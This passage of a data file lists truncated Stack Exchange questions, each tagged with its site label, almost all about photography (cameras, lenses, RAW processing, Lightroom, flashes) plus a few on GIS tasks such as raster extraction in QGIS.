Qgis? Body: I want to extract certain values of a raster image in order to create a new raster which then should only contain the extracted/chosen values. How to do this in QGis? ",['gis'] "Title: draw shp files or kml files on ipad? Body: I need to be able to draw a polygon in the field while the landowner is there to approve it. Is there an app that is easy to use so all of the field hands can operate it? I also need to be able to ... ",['gis'] "Title: How can I display remotely the Panoramio's KML layers Body: I'm trying to display in my web portal the Panoramio's kml layer. The above code developen in OpenLayers is what I'm doing: mapa = new OpenLayers.Layer.Vector(""Panoramio Photos"", { projection: ... ",['gis'] "Title: How to extract coordinates & elevations of boundary cells of a DEM Body: I am using a 50mx50m grid irregular shaped DEM file.I have to work on the boundary conditions. How do i extract the cell locations ( in x,y coordinate ) along the boundary edge and consequently find ... ",['gis'] "Title: Can't get my pictures to my mac Body: I recently bought a used Cannon EOS Digital Rebel XTI 400D. I went on a trip and took some photos that I would like to get onto my mac (A mac mini running 10.6.8). When I plugged the camera into my ... ",['photo'] "Title: What sort of damage in a camera can cause these photos? Body: I've a two month old Sony DSC-F828. Every time I use the camera, I get the following problem after several shots. I get either: A striped image which is overexposed even if I use a very short ... ",['photo'] "Title: How to remove white spots from a scanned picture? Body: I have a photo and I scanned it, but the scanned version introduced a lot of white spots on the image. I think the problem is the type of paper of the photo, which is not smooth a bit rough. There's ... ",['photo'] "Title: How to activate my camera aperture and speed wheels Body: I have a Nikon d7000 and I often shoot in Aperture mode. Sometimes, when I turn the aperture wheel, the aperture doesn't change. I have to mid-press the shutter button and then only, I can change the ... ",['photo'] "Title: CANON PowerShot SX50 HS OR Sony Cyber-Shot DSC-HX300? [on hold] Body: I'm planning to buy a point&shot super zoom for candid photography! Please suggest which one is better CANON PowerShot SX50 HS OR Sony Cyber-Shot DSC-HX300? ",['photo'] "Title: Site builder that provides client log-ins? [on hold] Body: Is it possible to find a site that provides client log in's to be available on my website. Can it be a plug in I can install? or is there a website builder site that provides this? The reason I ask ... ",['photo'] "Title: Options for backing up photos and videos from Compact Flash card to external hard disk without laptops? [duplicate] Body: I would like to backup photos and videos in the Compact Flash memory card directly to connected USB 2.0 or IEEE1394 enabled portable disk drive. As I will be photographing in remote region using my ... ",['photo'] "Title: How do I open a .dat from a FUJIFILM FinePix AV100? Body: I am not sure if I am in the right place so apologies if I am not. A client has sent me two images taken with a FUJIFILM FinePix AV100. They are in a .dat format which I am not sure is even an image. ... ",['photo'] "Title: What is the standard gamma value? Body: Following the instruction given in this question, I calibrated my monitor meticulously so that it adopts the standard gamma correction across all platforms, e.g. Internet, Photography, etc. Now what ... ",['photo'] "Title: How to “scan” oversized documents with DSLR? Body: I tried a variety of search terms and came up empty, so here we go! I want to digitize a collection of maps. All I have at home is a dinky A4 scanner. There are no oversize scanners to be found in my ... ",['photo'] "Title: Why are these black dots / spots appearing in my pictures? Body: I took some shots recently and I noticed that I'm getting a lot of little black dots in my images. I cleaned my lens thoroughly with the Nikon camelhair brush and retook the pictures but once again, ... ",['photo'] "Title: How much benefit can one get from monopod for night photography? Body: So I am confused on choosing a monopod or tripod for night photography, considering the fact the camera may need delayed shutter speed tripod is better. I know everyone would prefer a tripod over ... ",['photo'] "Title: DPP output is not sharp Body: I am using DPP (Digital Photo Professional by Canon) for post processing. Not sure what is wrong with it, but every time I produce an image (.JPEG) out of raw (.CR2) file, it turns blurry. I tried all ... ",['photo'] "Title: Lightroom 5: export photo with NO keywords Body: I'm hoping to find a way to export my photos without ANY of the keywords, without having to go through the keyword list and turn off exporting for each one individually. I found this thread: How can I ... ",['photo'] "Title: Help troubleshooting with 5DMIII battery issue Body: I have a 5DMIII with battery grip (by Canon) and Canon batteries. Since a few days ago, I noticed that, all of the sudden, if I leave the camera unused for, say, one day and turned off, when I turn ... ",['photo'] "Title: Can I trigger a Canon T2i using a webcam that detects motion? Body: I was wondering if anybody knows of any software for a computer that would use a webcam to monitor an area and tigger a DSLR to take a picture when motion is detected? I'm using a Canon T2i and a ... ",['photo'] "Title: DSLR Lens For Close Range Full Body Shots Body: I have a Nikon D800 and a 70-120mm zoom lens and a 105mm macro lens. I am doing portrait photography and I want to be able to take photos at close range (just a few feet away) while still capturing ... ",['photo'] "Title: How to identify if a photo is photoshopped without looking at its digital code Body: I found this similar question but it is about finding hints in the digital file :how-to-identify-photoshop-edited-files. I want to know if there is a way to do this without looking at the digital ... ",['photo'] "Title: Action Sequence Photos Software [duplicate] Body: What software is a good action sequence software for windows besides photoshop. I have tried gimp but had no luck any other ideas? it would be greatly appreciated. ",['photo'] "Title: What's the point of a removable umbrella cover? Body: I'm new to off-camera flash and looking to buy some gear (stands, umbrellas, etc.). I've seen some umbrellas that have a removable black cover, like this one: I assume that you add the cover when ... ",['photo'] "Title: Quiet video autofocus on a consumer level SLR? [closed] Body: I bought a Canon Rebel T3 a while back before doing my homework on the features. The video quality looks very good to me. However, I have to hold down the shutter button to keep focus. The auto-focus ... ",['photo'] "Title: why do digital cameras restrict the number of multiple exposures Body: Can somebody tell me why a Nikon D5200 would restrict the multiple exposure shots to 2 or 3 ? Is it some design issue or something else? ",['photo'] "Title: Which is the best open source or freeware raw developer software and photography workflow application? [closed] Body: I know is a difficult question but some pro and cons of the main software available may help. ",['photo'] "Title: Halos on images taken with a Panasonic Lumix DMC-FS35 Body: Every image I take with my DMC-FS35 shows a halo around the subject. (See below) This is true in all light conditions with or without flash. INSERT IMAGE HERE ",['photo'] "Title: Lightroom + bridge workflow Body: I tend to keep all my photos in lightroom, which is usually my starting point. So, I also keep there the photos I have edited in photoshop FROM lightroom. On occasion though, I start working directly ... ",['photo'] "Title: How does one track a shot like this? Body: Some shots I see online I don't understand how the tracking is done. The car is coming at the camera while the motion blur is also towards the camera, so if you move your camera in the direction ... ",['photo'] "Title: how many YN-622C do you need to work with YN-568EX II Body: I'm interested in buying a Yongnuo 568EX II flash for my Canon 550D, and use it off-camera. I understand I have to attach a wireless trigger (YN-622C) to my camera, but I'm not sure whether the ... ",['photo'] "Title: Oversampling: Worth it, and will it improve low-light? [duplicate] Body: I own a 10.2MP Sony A230, and I like to take it with me to important family and friends events... I rarely print my photos, and even then never more than around A4 size, they generally end up on ... ",['photo'] "Title: How to review a lens? Body: My friends asked me about specific criteria when reviewing a lens, I've check ones from available online review sites, and they have different views and review basis. What are the things that one ... ",['photo'] "Title: Why are minor differences appear magnified when synced to the same parameters in Lightroom? Body: In a night photography setup, I took many shots in order to do a time lapse. When post-processing, I adjusted the first photo to my taste and then synchronized all of them. As for result, each photo ... ",['photo'] "Title: Combinig external flash with ring flash - viable? Body: I have a Nikon SB900 which I use exclusively for macro photograhpy. Would it be a good idea to combine in with a ring light/flash for some extra fill light? Or would it be better to buy another ... ",['photo'] "Title: Why isn't Windows 8 detecting my Nikon D3100? Body: I have a Windows 8 PC and my Nikon D3100 isn't showing up on it. It says USB device not recognized. I have updated the USB drivers, but no joy. Sadly, i don't have the disc that came with it. ",['photo'] "Title: What effect does lens separation have on images? Body: Suppose I have a lens with few elements cemented together. If one of those groups begins to separate over time, what effect could it have on images taken with the lens? ",['photo'] "Title: Which camera to buy? [duplicate] Body: My sister needs a camera. Can anyone guide me which one to buy, as I have no knowledge about it. She is studying Architecture, and she often goes for site seeing and she needs to take picture(mainly ... ",['photo'] "Title: What coatings do mobile camera lenses have? Body: I have been using iPhone's camera since a long time and I have always wondered, what coatings or filters do mobile cams have in place (if the have any). The reason I ask is sometimes my iPhone is able ... ",['photo'] "Title: Is there any practical way to measure the T-stop of a lens? Body: T-stop measures actual light transmission in a lens. Therefore, different f/2.8 lenses can have different T-stops. T-stops are usually only given for cine lenses. For photography lenses, is there any ... ",['photo'] "Title: How are very high resolution images displayed on low resolution monitors? Body: How is an image with resolution larger than the monitor resolution displayed? How are the extra pixels handled? ",['photo'] "Title: Shooting at the beach: Options for protection? Body: I have in my mind taking some shots of crabs at a local beach. For the shots I envision this will mean lying prone in the sand and keeping the camera as low as possible to get the effect I want. ... ",['photo'] "Title: How to get bokeh effect using compact camera? [duplicate] Body: Guess the question itself sums it up, Is it feasible? If so, how? ",['photo'] "Title: What do I need for extreme macro photography? Body: I am wanting to venture into some extreme macro photography, specifically insects, such as this shot. After doing some research I have believe that my 1::25 macro lens will be sufficient if I am to ... ",['photo'] "Title: How to take panaroma shot using my Nokia C6? Body: I have a Nokia c6. I want to shoot wide angle panoramas shots, without using a special lens. How can I do it? ",['photo'] "Title: Which Lens is better to use for portrait photography? [duplicate] Body: Currently am using Canon EOS 600D with 18-55 mm lens. I am concentrating on portrait photography . i need some suggestions for the lens that i can use for it ? Hope Your Replay ",['photo'] "Title: How to avoid visual “burnout” during post-processing? Body: Sometimes I keep on adjusting a photo for longer than is healthy. What follows is that I go somewhat blind to tones and colors. Then, I get oversaturated and dark images. I am new to RAW processing, ... ",['photo'] "Title: Compact 35mm film camera with decent 50mm-ish lens Body: I am looking for a non-wide angle compact 35mm film camera, preferably with aperture priority and exposure bias. The Fuji Klasse S seems like a good option but is still quite expensive, even second ... ",['photo'] "Title: How do I start a career in photography? [duplicate] Body: I am hoping someone can give me some pointers and a little direction. I love photography and I am currently in a rut career wise. I would love to start on a path to make a living of some kind from ... ",['photo'] "Title: With a limited budget, how should I invest between flash power and light modification? Body: I just bought a yn-622c for my t3i and I want to also pickup the lastolite ezybox 24"" softbox. My main concearn is that the 430ex ii will be too weak to shoot in a softbox from several meters. Does ... ",['photo'] "Title: Creating one photo with multiple rows as if one is head-on to each row? Body: I took a picture of a crescent arch with scaffolding (apparently for maintenance) but can't post it for lack of ""10 reputation."" However the effect is simple, in that from the vantage point, the row ... ",['photo'] "Title: Can defished fisheye images have a larger FOV than rectilinear wide angle lenses? Body: I am trying to create a DIY wide angle webcam with the goal of maximizing my horizontal and vertical fov. I'm thinking that I need to use fisheye filters and then defish the video afterwards. Is this ... ",['photo'] "Title: High ISO or faster lens for a distant evening portrait? Body: There's a kid in the apartment across the street from my west-facing house. She comes out to their balcony at about 5pm. It's a delight to see her play and I have often tried to capture her smile, but ... ",['photo'] "Title: Is 24mm F/1.8 Prime lens blur bokeh is good (not distorted face) for portraits Body: I want to buy and do a photos+video interview with Sigma F/1.8 24mm Fixed Prime. I did profile photos/interviews with my Sigma 85mm F/1.4 on My Sony A77 APS-C camera. I used to use F/1.7-F/2 as a ... ",['photo'] "Title: What's the easiest way to access pure raw data (without demosaicing)? Body: What is the simplest way to access the data in a raw file before demosaicing and write it to a more widely supported file format (e.g. 16 bit TIFF)? I'm looking to obtain a single channel image where ... ",['photo'] "Title: How can I make a Lightroom 5 smart collection for unedited images which also includes my work in progress? Body: I have created a smart collection in Lightroom 5 for images (RAW) not previously edited or adjusted. My intention is to work with these images in the develop module, but as soon as I change any ... ",['photo'] "Title: How to photograph your hand such that it appears that it is in a computer screen? Body: Randomly searching the web and I got this mind-blowing picture: Accordingly, it says the the photograph didn't use Photoshop to do it. Even if it does, I want to ask how did it happen? Any idea? ",['photo'] "Title: Why do RAW images look worse than JPEGs in editing programs? Body: I've found that when you load a RAW image into an editing program such as Lightroom/Aperture, the image is usually worse than if you just took the image as JPEG. Now I understand that the camera does ... ",['photo'] "Title: Why does Darktable export enormous JPEGs? Body: I have a Nikon D3200 and just started shooting in Raw. Raw files are 18-24mb, and if I convert them to JPEG using Nikon's ViewNX 2, I get 8-12mb files at the top quality and resolution using sRGB; ... ",['photo'] "Title: Which aperture is the sharpest in the lens that come with Nikon d3100? Body: Wich aperture is the sharpest in the lens that come with Nikon d3100? I'm new to photograpy and I read about the ""sharpest aperture"" property that lenses have, but I read it changes depending on the ... ",['photo'] "Title: Is low-framerate video recording possible on the D7100 without miniature effect? [migrated] Body: The D7100, D5200 and D5100 have a ""miniature effect"". Videos recorded in this mode play back at high speed: ""Miniature effect movies play back at high speed, compressing 30 to 45 minutes of ... ",['photo'] "Title: How to get sand out of the sensor? Body: You know whats fun? Playing with a camera on the beach. You know whats not fun? The aftermath. I don't know how it's managed to get in the actual sensor area, but it has. I have a Canon 5D and I ... ",['photo'] "Title: Which two lenses would be best for my bag; one telephoto (300mm+) and a portrait/landscape lens? [closed] Body: I need help on deciding on two good quality lenses. I currently use a Canon 600d body and I would like a lens that will also fit a 5D as I intend to upgrade in the future. Firstly I would like a ... ",['photo'] "Title: What are the use cases of a Petzval lens? Body: I am interested to know when would one use these lenses and what are they best suited for? ",['photo'] "Title: Is there a command line tool in Linux to remove fisheye effect? Body: I have a gopro hero 3 and I use it to make timelapses on linux. The problem is that I don't like the fisheye effect that its lens produces. Is there any Linux tool that removes that? I am especially ... ",['photo'] "Title: What are the differences of sRaw1 and sRaw2? Body: I'm new to canon systems and I wonder what's the big deal with sRaw1 and sRaw2? I know Raw by nature itself, since in Nikon I shoot in Raw. In canon systems, they have these 3 types of Raw, what are ... ",['photo'] "Title: My lens is capable of f-stops higher than the label [duplicate] Body: I searched on here and I read everything on this page: http://www.geometer.org/beginner/lenses.html But I still don't understand what's going on with my lenses and how they are labeled. I have a ... ",['photo'] "Title: How should I do a DIY set up for shooting clothing items? Body: I need to make a photo shoot of clothing articles (headbands, headscarves, etc) for an online store. I tried building a lightbox the other day (cheap way) and then put a light from the top. It was ... ",['photo'] "Title: Tools and spare parts needed to repair Canon 200mm f1:1.8 USM prime lens Body: The focus of Canon 200mm f1:1.8 seems to be entirely USM driven. Manually rotating the black ring has no impact at all on mine, as it is broken. What toolset would be the best I could buy (from ... ",['photo'] "Title: Is there maximum distance for stereoscopic photography? Body: I'd like to know if there is a distance limit in the use of stereovision with camera. Say I want to make a depth matrix of a fixed objet I'm seeing with my cameras. For the exemple, I'll set some ... ",['photo'] "Title: Canon 580EX compatible with xxxEX II flashes? Body: I've got a Canon 580EX (original, not the II) flash, and now I'm interested in adding a slave flash. I stopped by a camera store this evening to look at the 430EX II, but the salesman advised me that: ... ",['photo'] "Title: How to fix issues with the flash on Nikon D3100? Body: When I am in M, A, S, or P modes, my flash goes off without needing to. The built in flash is down, also the button won't pop the flash up. The firmware is updated. Does anyone think this is a ... ",['photo'] "Title: Canon 40mm STM - The focus cannot be adjusted in manual mode Body: I bought a new Canon 40mm STM lens and in the Lens Manual it says The focus cannot be adjusted in manual mode. Does it mean that its harmful to rotate the focus ring when the focusing mode is ... ",['photo'] "Title: Fee error on d7000 with 50 mm lens Body: I've been reading up solutions for the above error that I've been having and the solution being to set the aperture of the lens to f22 did the trick. My lens hasn't been moved from the locked position ... ",['photo'] "Title: What changes (specifically improvements) occur to image quality when you reduce the resolution in post? Body: If you shoot a lot of megapixels, let's say 21MP, what image improvements/changes will occur when you downsample the image to a resolution around 1920x1080 for display on a normal 1080p HD television? ... ",['photo'] "Title: I noticed high lens distortion with my kit lens, are they normal / how to avoid this? Body: I recently bought a Sony NEX 5N with the standard 18-55mm lens kit and noticed today that it has a high lens distortion (see below). Enabling the option to suppress lens distortion in the setup did ... ",['photo'] "Title: Is Magic Lantern giving incorrect shutter counts on my Canon 500D? Body: I bought a new camera (500D) and have had it for about 4 days. I have installed the latest version of Magic Lantern on it to get a little boost, but when I got into shutter count it gives me 14k ... ",['photo'] "Title: What are the available mechanisms to hang pictures on the fridge? Body: In the past, I have used adhesive tapes and fridge magnets of various shapes and sizes to hang pictures on the fridge wall. The magnets seem to be not so powerful and every now and then I have to ... ",['photo'] "Title: Why is my SDHC card not recognized in the camera or PC after being used with a Raspberry Pi? Body: I have a Sony Class 4 SDHC Card SF-16C4 that I had been using in a Raspberry Pi and re-formatted as MS-DOS (FAT) and exFAT with disk utility on my Mac and tried it with a Cannon Powershot A560 and a ... ",['photo'] "Title: What do I need in a camera to take non-blurry photos of a fast-moving child? Body: I'm a mom who is obsessed with taking photos of my now 2 year old daughter. I currently have a Nikon j1 which I like, but I find the shutter speed is still a bit slow and when you're trying to take ... ",['photo'] "Title: Why can't software fix bad lighting? Body: They say good light is when light is soft, during those rare hours of the day. And bad light is harsh light, where the light is straight on in the middle of the afternoon. That all seems to make ... ",['photo'] "Title: Stack star photos without trails but WITH sharp foreground? Body: I have a Nikon D5100 and a Tokina 11-16mm f/2.8 I want to stack multiple star pictures while also keeping some interesting foreground for context. I don't want star trails though. I understand that ... ",['photo'] "Title: Do modern DSLRs use a rolling or global shutter? Body: I recently learned about these technologies and the differences between them. Which one of these do modern DSLR cameras (esp. Canon and Nikon models) come with? ",['photo'] "Title: How to recover data from a damaged/chewed up SD card? Body: In short, my new puppy chewed up my SD card. I took the card out of the camera after a shoot to back it up onto an external hard drive. I then decided to grab a glass of water. As I was filling up the ... ",['photo'] "Title: What are the clues to look at regarding how long Canon's EF/EF-S lens mount might be current? [closed] Body: I'm interested in buying a new lens for my Canon but am concerned the lens mount might be discontinued soon. The EF-S lens mount was invented in 2003, and the EF mount in 1987 (wikipedia). Electronics ... ",['photo'] "Title: How do I get my Panasonic Lumix DMC-LZ20 lens diameter? Body: I'm new with my camera and I was wondering what size filters to get. ",['photo'] "Title: How do I fix my Canon Rebel taking 2 pictures at once after a 10 second delay? Body: What can I do about this? I don't know the adjustment to make it only take one picture at a time immediately. ",['photo'] "Title: What are some of the use cases for using green and black Chroma keys? Body: Chroma key backgrounds can be found in many colors. Please tell me: 1) Why green is mostly popular? 2) What special purposes of using black chroma key? When it is very useful? ",['photo'] "Title: What lens to bring to Greece? [duplicate] Body: I am using Canon 550D and is going to visit Greece. What lens should I bring if I can afford just one? Appreciate your comments. ",['photo'] "Title: Planning to photograph Paris Opera Garnier, Eiffel and Montmerte Body: I live in Turkey and I'm planning to visit Paris next week. I'm amazed how gorgeous Opera Garnier is. Is it allowed to photograph inside that building? And is tripod allowed? Also I've read that ... ",['photo'] "Title: Why are lenses always round in shape? Body: Why are lenses round in shape although the image sensor is not? Why they can not be square or something matching the shape of image sensor? ",['photo'] "Title: Should we rotate cameras towards or not while shooting for 3d? Body: Every behind the scenes photo/video I see shows a fixed setup for both cameras. Is this how it should be or it is like this because of the technical difficulties? For example, assume that we are ... ",['photo'] "Title: How do I safely cancel a long exposure? Body: I have a Canon 450D Rebel XSi and have been taking some long exposure photos. I am finding that with the weather being sporadic lately I need to pack up my camera before the exposure has completed. ... ",['photo'] "Title: How to use Canon remote without the timer? Body: I am using a Canon EOS 500D, and just got a digital remote. How can I set the camera to remote control without the timer on it. Because every time I set it to remote control, it always comes with a ... ",['photo'] "Title: Why does it take more time to write a photo to memory when I shoot in RAW? Body: I've a Sony DSC-F828 and when I shoot in raw it takes a lot of time to write to the card. Is this only because the file has much more data? Will connecting the camera to a PC reduce the time it takes ... ",['photo'] "Title: How can I get the image/sensor dimensions in mm to get Circle of Confusion from EXIF? Body: I need to get calculate some formulas based on Circle of Confusion and/or image dimensions (diagonal) in millimeters based on EXIF data only. IOW, I cannot say ""this photo was shot with Canon 5D3 ... ",['photo'] "Title: RAW files and In-Camera Exposure Compensation Body: If shooting a RAW file in manual mode (on Nikon), whereby aperture, ISO, and exposure time are all manually configured, how would adjusting exposure compensation affect my RAW file? It seems as if ... ",['photo'] "Title: How to reverse engineer digital color composite picture from glass negatives? Body: Below is an old photograph of a railroad bridge (digital color composite from digital file from glass neg.) How can I restore the original from it? detail of digital file showing single frame from ... ",['photo'] "Title: Consolidate photos and eliminate duplicates? Body: I have a client who is having a lot of trouble managing his photos. He has multiple copies in multiple Aperture and iPhoto libraries, imports from old PCs, etc. What I'm looking for is a piece of ... ",['photo'] "Title: When it is beneficial take pictures in live view with a Canon 7d? Body: On what occasion it is advantageous to take pictures in live view mode? I understand that with a 60d with swivel display can be useful to avoid contortions in certain shots but with a fixed display ... ",['photo'] "Title: My first camera [closed] Body: I am new to photography and even cameras for that matter. I like to travel, especially to exotic places in Asia and South America, where often one doesn't have the luxury of artificial lighting. I am ... ",['photo'] "Title: How do sharpening tools work? Body: I'll be brief: How do digital photo sharpening tools restore edges to photos? Why do they only sometimes work? Why don't they restore the image perfectly i.e what are the limits of the tools? ",['photo'] "Title: How can I prevent or undo Canon G12's auto rotate? Body: I'm using a Canon PowerShot G12 camera to take photos for vegetation analysis. The camera is looking straight down at the vegetation - or at least CLOSE to straight down. The autorotation function ... ",['photo'] "Title: Can I use a large aperture of f/2.8 while shooting landscape photography? Body: Can I take a picture of a wide area such as a big house at 10m, in low light, using a large aperture of say f/2.8, at a focal length of 50mm? I will have no subject between my camera and the house. ",['photo'] "Title: How to whiten the yellow light of a poorly illuminated picture? Body: I had some poor lighting during a photo shoot (amateur) and ended up with pictures like the ones below. Is there any easy way in Lightroom to correct and whiten the lights in these kind of pictures? ... ",['photo'] "Title: Which workflow and processing to achieve Exposure-Fusion? Body: I know how to make HDR pictures, and I've seen a huge amount of HDR pictures. I dislike most of them. I heard about Exposure-Fusion, which seems to match my expectations. There is one photographer ... ",['photo'] "Title: What is the best license to seek out for short-term promotional flyer use? [closed] Body: I make promotional flyers for a restaurant weekly and every week there is new artwork with new photos. Websites that sell stock photos offer different licenses with different prices. I'm unclear as to ... ",['photo'] "Title: Ilford Rapid Fixer color Body: I'm very unfamiliar about color chemistry at all. I use different films and developers for my needs in B&W. There is only one constant is my workflow. I always use: Ilford Ilfostop Indicator ... ",['photo'] "Title: Moving up to the next lens from 55-200 Body: I do mainly amateur wildlife shots especially whale watching and some football photography just as a hobby. I currently have canon EOS 400d with 18-55, 55-200 and macro lenses. What lens would you ... ",['photo'] "Title: Correct aperture to manage precisely blur and focus zones Body: There is something that bugs me about aperture... I understood that aperture will influence my picture on both light and focus zone. Now when taking a picture, I find it difficult to know precisely ... ",['photo'] "Title: what is this effect: millions of coloured light dots, picture shot in the night Body: I found this picture http://25.media.tumblr.com/b190c1a74bf5a249e3bac63626fff88b/tumblr_mipyd0ehvG1rcbvl8o1_1280.jpg i wonder if there is a certain technique to create such pictures? Thanks very ... ",['photo'] "Title: Are consumer DSLR good enough for a billboard Body: I need to shoot for a billboard advertisement. The billboard size will be around 20-15 foot. Do you think a consumer level DSLR [550D, D5100, D90] is good enough for this or need to switch to pro ... ",['photo'] "Title: How to save a series of jpegs to click through? Body: I have a series of pictures (jpeg or other format), and want to save them and then send them to another person, such that the person can click through them, since the pictures tell a story :-) How is ... ",['photo'] "Title: Thoughts on buying a used Canon 5D MK II? [duplicate] Body: Im a college student and I have been doing my best to teach myself everything about Photography and Videography. I currently have a Canon EOS RebelT2i and have had it for a while now. I feel pretty ... ",['photo'] "Title: Is it possible to safely disassemble a polarizing filter? Body: I just purchased an Hoya PL-CIR filter off craiglists (I'm starting photography and it was cheap) and it looks like there is some dust/dirt between the two lenses. Is there a way to safely ... ",['photo'] "Title: Is trading Canon 18-135mm + 24mm lenses for a 17-40mm L or 70-200mm f/4 L a good decision? Body: I currently have a Canon 60D with an 18-135 lens and a 24 mm f/2.8 lens I hardly use. I really fancy the 24-105L IS (colour, sharpness, etc) and the 100-400L for the length (Freud would have something ... ",['photo'] "Title: How to calculate the magnification factor of an object to its image? Body: I have an object of size 37.5um x 37.5um, and captured a 640 x 480 resolution image of the object with a CMOS sensor. I see that the object is around 200 x 200 pixels in the image. How do I calculate ... ",['photo'] "Title: Which APS-C camera can take pictures while filming? Body: I am looking for a camera (EVIL or DSLR) with an APS-C sensor which can take still pictures while filming. For some reasons the comparisons I looked at just didn't put a priority on this feature. ... ",['photo'] "Title: How to choose lens for macro photography? Body: I have a Canon EOS 450D and the three following lenses : Canon EF-S 18–55mm lens f/3.5–5.6 Canon EF-S 55-250mm f/4-5.6 IS Canon EF 50mm f/1.8 II I would like to give Macro photography a try (lego ... ",['photo'] "Title: What do these strange fractions in EXIF exposure values mean? Body: Sometimes I see in the Exif exposure value (from a photographic contests site) numbers like 10/4000 or 301/100000. I guess 10/4000 means 1/400 but what does 301/100000 mean? Is it due to some Exif ... ",['photo'] "Title: How to take extreme (multiple month!) long exposure photos? Body: Was just going through an article where it was mentioned that Michael Wesely took a photo of a building being destructed and constructed and shutter was open for 34 months. How is it possible to get ... ",['photo'] "Title: AF mirror not flipping on Canon 350D Body: My Canon 350D is no longer raising the AF mirror when it takes a photo. Instead, it looks like this when the mirror flips up. This results in a photo that is half black due to the sensor being ... ",['photo'] "Title: how to repair a corrupt jpeg? [duplicate] Body: I am putting together a slideshow of 10+ year old digital photos for a slideshow and found that one of my external hard drives has a handful of corrupt jpg images. I was able to copy the images off ... ",['photo'] "Title: How to safely and efficiently remove frames of photo added by software? Body: How to safely and efficiently remove frames of photo added by software? I'm NOT talking about the physical frame, but the border/frame added by software such as PhotoShop. I'm particularly ... ",['photo'] "Title: Have inkjet prints surpassed chemistry-based paper prints in terms of color gamut? Body: I occasionally send files to a print lab (WHCC) when I need prints larger than I can make at home (Epson R1900). They use a process where they expose the image from a digital file onto ... ",['photo'] "Title: Permentantly set continuous mode on Nikon D5100? Body: I'm traveling and I don't have access to my manual, so I'm sorry if it's in there. I flip between modes a lot and tend to use full auto (when family doesn't have patience for me to set something up). ... ",['photo'] "Title: What is an effective means to measure image sensor dimensions from a digital photo? Body: Is there an effective means to measure the dimensions (length, width, diagonal length) of the effective area of an image sensor in a camera from a photo? ",['photo'] "Title: How to compare “on the paper” the bigness of the viewfinder? Body: If I want to have a good, and most of all objective, idea of what a view finder looks like compared to another one, which numbers of a DSLR's characteristics must I pay attention to? For example, ... ",['photo'] "Title: what is the current replacement for the EOS 20d Body: I am a happy owner of a Canon EOS 20D but since I'm now been 8 years since its purchase I was thinking about what might be currently the replacement for it in case of failure. Based on the name only ... ",['photo'] "Title: How do rear gelatine filters compare optically with “regular” front-mounted filters? Where to buy them? How to cut them? Body: I have a few lenses with with a rear filter holder so I would be curious to know how the rear ""gel"" filters compare with regular front-mounted filters in terms of optical performance. Until ... ",['photo'] "Title: How to get 'plastic' skin tones in a picture? [duplicate] Body: I know this is a very complex photo, but I'm interested in knowing how the skin tones were achieved which I believe is an almost but not quite, a plastic look. Are there tutorials out there on this? I ... ",['photo'] "Title: Who is photographer Scott Mead? Body: Is anyone familiar with the photographer Scott Mead? Does he have any exhibitions? I heard his name a few days ago but I haven't heard of him before. ",['photo'] "Title: How do you get moon zoomed over foreground? [duplicate] Body: How does one get a picture similar to the one below with a crop sensor DSLR and using kit lens or 70-300mm lens without post-processing? ",['photo'] "Title: Why do I see so much skin softening in portrait photography? Body: The question says it all. On magazine covers, and almost any pro portfolio, I see so much skin softening that the skin is completely dull and flat. Even though I do retouching myself, I don't like ... ",['photo'] "Title: What is recommended between a 50mm Nikon f/1.4D (used) with f/1.8G (new)? Body: I'm using a D7000 and I'm looking into getting a nifty fifty. I'm kinda deciding between the f/1.8G for retail price (~220+tax) or I can get an used f/1.4D for $170. Which one would you recommend? ",['photo'] "Title: Is it possible to use a Metz 36 AF-5 flash on a Praktica MTL5 film SLR? Body: Is it possible to use a modern, digital flash (like the Metz 36 AF-5) on an analog film SLR? I know that I have to be careful if I use it the other way around (old flash + DSLR) because of high ... ",['photo'] "Title: Are RF wireless triggers systems compatible with one another? Body: I'm trying to get into using a wireless setup instead of a wired setup for triggering my off-camera flash, and this seems to be wading into a lot of products with very little clarity. There are a lot ... ",['photo'] "Title: Why aren't more lenses white? Body: So high end Canon lenses are white. This is to reduce heat, correct? If so why is this something that only appears in really high end Canon lenses. I wouldn't think that painting a lens white ... ",['photo'] "Title: How do you recommend using the ADL (Active D-Lighting) feature in Nikon cameras? [duplicate] Body: Some folks recommend the use of the active d-lighting feature of Nikon cameras. However, if I am reading correctly, Aperture won't pay attention to this in a NEF file. Would the experts in the room ... ",['photo'] "Title: Is Nikon ADL helping to increase the vividness of reflection in this picture? Body: This photo is one of the first I took with an N5100. I was surprised by the level of detail in the reflection; it was much less bright in person, at least as far as I recalled. The camera was set to ... ",['photo'] "Title: Dealing microphotography [duplicate] Body: How would you suggest a micro photograph using a 18-55 mm,14 mp lens? I have tried many different articles on this but did not succeed. ",['photo'] "Title: What are the best camera settings for taking pictures in a limo? Body: I am helping out taking pictures for a wedding today and I need to take pictures inside the limo. I have a Canon Rebel Xs and I do a lot of outdoor shooting with natural sunlight but I don't have much ... ",['photo'] "Title: Is cleaning shutter release from the battery compartment with alcohol safe? Body: I have a very irritating issue with my Canon 40D bought only two years ago: the shutter release is working only 1 times over 4 tries. After some google searches I found this solution: pour one spoon ... ",['photo'] "Title: How do I make a picture look like a painting? Body: I have both Lightroom and Photoshop. Is there a tutorial that explains how to make pictures look like paintings? I'm mostly interested about impressionism, but other styles are definitely in my ... ",['photo'] "Title: How to compare the before and after image in Darktable? Body: I'm using Darktable to edit photos. There is one option, which I'm still looking for, but it seems to be unavailable or hidden somewhere. How to (after making some changes) preview a source image in ... ",['photo'] "Title: what is the best compact system camera for taking low light shots in nightclubs? [duplicate] Body: I'm looking for a compact system camera ( maybe mirrorless it's more correct as a definition, i mean a camera where you can change lenses but it's not a full DSLR ) which i would mainly use to shoot ... ",['photo'] "Title: How can I take low-light action shots? Body: My sister takes photographs for our weekly Ultimate league. We start around 6 pm (this is currently summer), and play till 8ish. But nearing the end, the light is low - bright enough to play in, but ... ",['photo'] "Title: What is the resolution of a good compact camera in lines resolved? Body: After doing some internet research myself to answer this question, I finally wind up asking here. Compact cameras have similar ""megapixels"" than decent dSLRs, but way lower sensor sizes and certainly ... ",['photo'] "Title: Why some pixels become hot pixels? Body: What is the physical explanation to hot pixels? What happens to the sensor when a good pixel become an hot pixel? ",['photo'] "Title: How many shots is considered “much” for Nikon DSLR body? [duplicate] Body: I'm into purchasing used DSLR Nikon body, and I see that number of shots advertised is anywhere between 5k and 250k. My question is, how much does this number relate to the overall quality and ... ",['photo'] "Title: Can I programatically manipulate Lightroom's “rejected” flag in images? Body: Can I use a tool like exif2 or exiftool to programatically inspect and manipulate the flag used for ""Rejected"" in Lightroom? I can't find a field that seems to correspond to it. If not, is there ... ",['photo'] "Title: What is Stereoscopic Photography? [duplicate] Body: The title says it all, what really is Stereoscopic photography? How can I 